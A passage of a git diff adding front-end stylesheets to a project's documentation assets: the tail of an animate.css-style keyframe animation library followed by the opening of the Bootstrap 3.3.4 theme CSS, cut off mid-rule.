rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} + +.flipOutY { + -webkit-backface-visibility: visible !important; + -ms-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipOutY; + animation-name: flipOutY; +} + +@-webkit-keyframes lightSpeedIn { + 0% { + -webkit-transform: translateX(100%) skewX(-30deg); + transform: translateX(100%) skewX(-30deg); + opacity: 0; + } + + 60% { + -webkit-transform: translateX(-20%) skewX(30deg); + transform: translateX(-20%) skewX(30deg); + opacity: 1; + } + + 80% { + -webkit-transform: translateX(0%) skewX(-15deg); + transform: translateX(0%) skewX(-15deg); + opacity: 1; + } + + 100% { + -webkit-transform: translateX(0%) skewX(0deg); + transform: translateX(0%) skewX(0deg); + opacity: 1; + } +} + +@keyframes lightSpeedIn { + 0% { + -webkit-transform: translateX(100%) skewX(-30deg); + -ms-transform: translateX(100%) skewX(-30deg); + transform: translateX(100%) skewX(-30deg); + opacity: 0; + } + + 60% { + -webkit-transform: translateX(-20%) skewX(30deg); + -ms-transform: translateX(-20%) skewX(30deg); + transform: translateX(-20%) skewX(30deg); + opacity: 1; + } + + 80% { + -webkit-transform: translateX(0%) skewX(-15deg); + -ms-transform: translateX(0%) skewX(-15deg); + transform: translateX(0%) skewX(-15deg); + opacity: 1; + } + + 100% { + -webkit-transform: translateX(0%) skewX(0deg); + -ms-transform: translateX(0%) skewX(0deg); + transform: translateX(0%) skewX(0deg); + opacity: 1; + } +} + +.lightSpeedIn { + -webkit-animation-name: lightSpeedIn; + animation-name: lightSpeedIn; + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; +} + +@-webkit-keyframes lightSpeedOut { + 0% { + -webkit-transform: translateX(0%) skewX(0deg); + transform: translateX(0%) skewX(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: translateX(100%) skewX(-30deg); + transform: translateX(100%) skewX(-30deg); + opacity: 0; + } +} + +@keyframes lightSpeedOut { + 0% { + -webkit-transform: translateX(0%) skewX(0deg); + -ms-transform: translateX(0%) skewX(0deg); + transform: translateX(0%) skewX(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: translateX(100%) skewX(-30deg); + -ms-transform: translateX(100%) skewX(-30deg); + transform: translateX(100%) skewX(-30deg); + opacity: 0; + } +} + +.lightSpeedOut { + -webkit-animation-name: lightSpeedOut; + animation-name: lightSpeedOut; + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; +} + +@-webkit-keyframes rotateIn { + 0% { + -webkit-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(-200deg); + transform: rotate(-200deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateIn { + 0% { + -webkit-transform-origin: center center; + -ms-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(-200deg); + -ms-transform: rotate(-200deg); + transform: rotate(-200deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: center center; + -ms-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +.rotateIn { + -webkit-animation-name: rotateIn; + animation-name: rotateIn; +} + +@-webkit-keyframes rotateInDownLeft { + 0% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +.rotateInDownLeft { + -webkit-animation-name: rotateInDownLeft; + animation-name: rotateInDownLeft; +} + +@-webkit-keyframes rotateInDownRight { + 0% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInDownRight { + 0% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +.rotateInDownRight { + -webkit-animation-name: rotateInDownRight; + animation-name: rotateInDownRight; +} + +@-webkit-keyframes rotateInUpLeft { + 0% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +.rotateInUpLeft { + -webkit-animation-name: rotateInUpLeft; + animation-name: rotateInUpLeft; +} + +@-webkit-keyframes rotateInUpRight { + 0% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +@keyframes rotateInUpRight { + 0% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } + + 100% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } +} + +.rotateInUpRight { + -webkit-animation-name: rotateInUpRight; + animation-name: rotateInUpRight; +} + +@-webkit-keyframes rotateOut { + 0% { + -webkit-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(200deg); + transform: rotate(200deg); + opacity: 0; + } +} + +@keyframes rotateOut { + 0% { + -webkit-transform-origin: center center; + -ms-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: center center; + -ms-transform-origin: center center; + transform-origin: center center; + -webkit-transform: rotate(200deg); + -ms-transform: rotate(200deg); + transform: rotate(200deg); + opacity: 0; + } +} + +.rotateOut { + -webkit-animation-name: rotateOut; + animation-name: rotateOut; +} + +@-webkit-keyframes rotateOutDownLeft { + 0% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } +} + +@keyframes rotateOutDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } +} + +.rotateOutDownLeft { + -webkit-animation-name: rotateOutDownLeft; + animation-name: rotateOutDownLeft; +} + +@-webkit-keyframes rotateOutDownRight { + 0% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } +} + +@keyframes rotateOutDownRight { + 0% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } +} + +.rotateOutDownRight { + -webkit-animation-name: rotateOutDownRight; + animation-name: rotateOutDownRight; +} + +@-webkit-keyframes rotateOutUpLeft { + 0% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } +} + +@keyframes rotateOutUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: left bottom; + -ms-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); + opacity: 0; + } +} + +.rotateOutUpLeft { + -webkit-animation-name: rotateOutUpLeft; + animation-name: rotateOutUpLeft; +} + +@-webkit-keyframes rotateOutUpRight { + 0% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } +} + +@keyframes rotateOutUpRight { + 0% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + opacity: 1; + } + + 100% { + -webkit-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + opacity: 0; + } +} + +.rotateOutUpRight { + -webkit-animation-name: rotateOutUpRight; + animation-name: rotateOutUpRight; +} + +@-webkit-keyframes slideInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 100% { + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes slideInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 100% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.slideInDown { + -webkit-animation-name: slideInDown; + animation-name: slideInDown; +} + +@-webkit-keyframes slideInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 100% { + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes slideInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 100% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.slideInLeft { + -webkit-animation-name: slideInLeft; + animation-name: slideInLeft; +} + +@-webkit-keyframes slideInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } + + 100% { + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes slideInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } + + 100% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.slideInRight { + -webkit-animation-name: slideInRight; + animation-name: slideInRight; +} + +@-webkit-keyframes slideOutLeft { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +@keyframes slideOutLeft { + 0% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +.slideOutLeft { + -webkit-animation-name: slideOutLeft; + animation-name: slideOutLeft; +} + +@-webkit-keyframes slideOutRight { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +@keyframes slideOutRight { + 0% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +.slideOutRight { + -webkit-animation-name: slideOutRight; + animation-name: slideOutRight; +} + +@-webkit-keyframes slideOutUp { + 0% { + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +@keyframes slideOutUp { + 0% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +.slideOutUp { + -webkit-animation-name: slideOutUp; + animation-name: slideOutUp; +} + +@-webkit-keyframes hinge { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 20%, 60% { + -webkit-transform: rotate(80deg); + transform: rotate(80deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 40% { + -webkit-transform: rotate(60deg); + transform: rotate(60deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 80% { + -webkit-transform: rotate(60deg) translateY(0); + transform: rotate(60deg) translateY(0); + opacity: 1; + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 100% { + -webkit-transform: translateY(700px); + transform: translateY(700px); + opacity: 0; + } +} + +@keyframes hinge { + 0% { + -webkit-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + -webkit-transform-origin: top left; + -ms-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 20%, 60% { + -webkit-transform: rotate(80deg); + -ms-transform: rotate(80deg); + transform: rotate(80deg); + -webkit-transform-origin: top left; + -ms-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 40% { + -webkit-transform: rotate(60deg); + -ms-transform: rotate(60deg); + transform: rotate(60deg); + -webkit-transform-origin: top left; + -ms-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 80% { + -webkit-transform: rotate(60deg) translateY(0); + -ms-transform: rotate(60deg) translateY(0); + transform: rotate(60deg) translateY(0); + opacity: 1; + -webkit-transform-origin: top left; + -ms-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + } + + 100% { + -webkit-transform: translateY(700px); + -ms-transform: translateY(700px); + transform: translateY(700px); + opacity: 0; + } +} + +.hinge { + -webkit-animation-name: hinge; + animation-name: hinge; +} + +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes rollIn { + 0% { + opacity: 0; + -webkit-transform: translateX(-100%) rotate(-120deg); + transform: translateX(-100%) rotate(-120deg); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + transform: translateX(0px) rotate(0deg); + } +} + +@keyframes rollIn { + 0% { + opacity: 0; + -webkit-transform: translateX(-100%) rotate(-120deg); + -ms-transform: translateX(-100%) rotate(-120deg); + transform: translateX(-100%) rotate(-120deg); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + -ms-transform: translateX(0px) rotate(0deg); + transform: translateX(0px) rotate(0deg); + } +} + +.rollIn { + -webkit-animation-name: rollIn; + animation-name: rollIn; +} + +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes rollOut { + 0% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(100%) rotate(120deg); + transform: translateX(100%) rotate(120deg); + } +} + +@keyframes rollOut { + 0% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + -ms-transform: translateX(0px) rotate(0deg); + transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(100%) rotate(120deg); + -ms-transform: translateX(100%) rotate(120deg); + transform: translateX(100%) rotate(120deg); + } +} + +.rollOut { + -webkit-animation-name: rollOut; + animation-name: rollOut; +} diff --git a/docs/assets/css/bootstrap-theme.css b/docs/assets/css/bootstrap-theme.css new file mode 100644 index 000000000..021ac29e2 --- /dev/null +++ b/docs/assets/css/bootstrap-theme.css @@ -0,0 +1,476 @@ +/*! + * Bootstrap v3.3.4 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ + +.btn-default, +.btn-primary, +.btn-success, +.btn-info, +.btn-warning, +.btn-danger { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); +} +.btn-default:active, +.btn-primary:active, +.btn-success:active, +.btn-info:active, +.btn-warning:active, +.btn-danger:active, +.btn-default.active, +.btn-primary.active, +.btn-success.active, +.btn-info.active, +.btn-warning.active, +.btn-danger.active { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-default .badge, +.btn-primary .badge, +.btn-success .badge, +.btn-info .badge, +.btn-warning .badge, +.btn-danger .badge { + text-shadow: none; +} +.btn:active, +.btn.active { + background-image: none; +} +.btn-default { + text-shadow: 0 1px 0 #fff; + background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); + background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #dbdbdb; + border-color: #ccc; +} +.btn-default:hover, +.btn-default:focus { + background-color: #e0e0e0; + background-position: 0 -15px; +} +.btn-default:active, +.btn-default.active { + background-color: #e0e0e0; + border-color: #dbdbdb; +} +.btn-default.disabled, +.btn-default:disabled, +.btn-default[disabled] { + background-color: #e0e0e0; + background-image: none; +} +.btn-primary { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); + background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #245580; +} +.btn-primary:hover, +.btn-primary:focus { + background-color: #265a88; + background-position: 0 -15px; +} +.btn-primary:active, +.btn-primary.active { + background-color: #265a88; + border-color: #245580; +} +.btn-primary.disabled, +.btn-primary:disabled, +.btn-primary[disabled] { + background-color: #265a88; + background-image: none; +} +.btn-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #3e8f3e; +} +.btn-success:hover, +.btn-success:focus { + background-color: #419641; + background-position: 0 -15px; +} +.btn-success:active, +.btn-success.active { + background-color: #419641; + border-color: #3e8f3e; +} +.btn-success.disabled, +.btn-success:disabled, +.btn-success[disabled] { + background-color: #419641; + background-image: none; +} +.btn-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #28a4c9; +} +.btn-info:hover, +.btn-info:focus { + background-color: #2aabd2; + background-position: 0 -15px; +} +.btn-info:active, +.btn-info.active { + background-color: #2aabd2; + border-color: #28a4c9; +} +.btn-info.disabled, +.btn-info:disabled, +.btn-info[disabled] { + background-color: #2aabd2; + background-image: none; +} +.btn-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #e38d13; +} +.btn-warning:hover, +.btn-warning:focus { + background-color: #eb9316; + background-position: 0 -15px; +} +.btn-warning:active, +.btn-warning.active { + background-color: #eb9316; + border-color: #e38d13; +} +.btn-warning.disabled, +.btn-warning:disabled, +.btn-warning[disabled] { + background-color: #eb9316; + background-image: none; +} +.btn-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #b92c28; +} +.btn-danger:hover, +.btn-danger:focus { + background-color: #c12e2a; + background-position: 0 -15px; +} +.btn-danger:active, +.btn-danger.active { + background-color: #c12e2a; + border-color: #b92c28; +} +.btn-danger.disabled, +.btn-danger:disabled, +.btn-danger[disabled] { + background-color: #c12e2a; + background-image: none; +} +.thumbnail, +.img-thumbnail { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + background-color: #e8e8e8; + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + background-color: #2e6da4; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.navbar-default { + background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); + background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); + background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); +} +.navbar-brand, +.navbar-nav > li > a { + text-shadow: 0 1px 0 rgba(255, 255, 255, .25); +} +.navbar-inverse { + background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); + background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); + background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); +} +.navbar-inverse .navbar-brand, +.navbar-inverse .navbar-nav > li > a { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); +} +.navbar-static-top, +.navbar-fixed-top, +.navbar-fixed-bottom { + border-radius: 0; +} +@media (max-width: 767px) { + .navbar .navbar-nav .open .dropdown-menu > .active > a, + .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; + } +} +.alert { + text-shadow: 0 1px 0 rgba(255, 255, 255, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 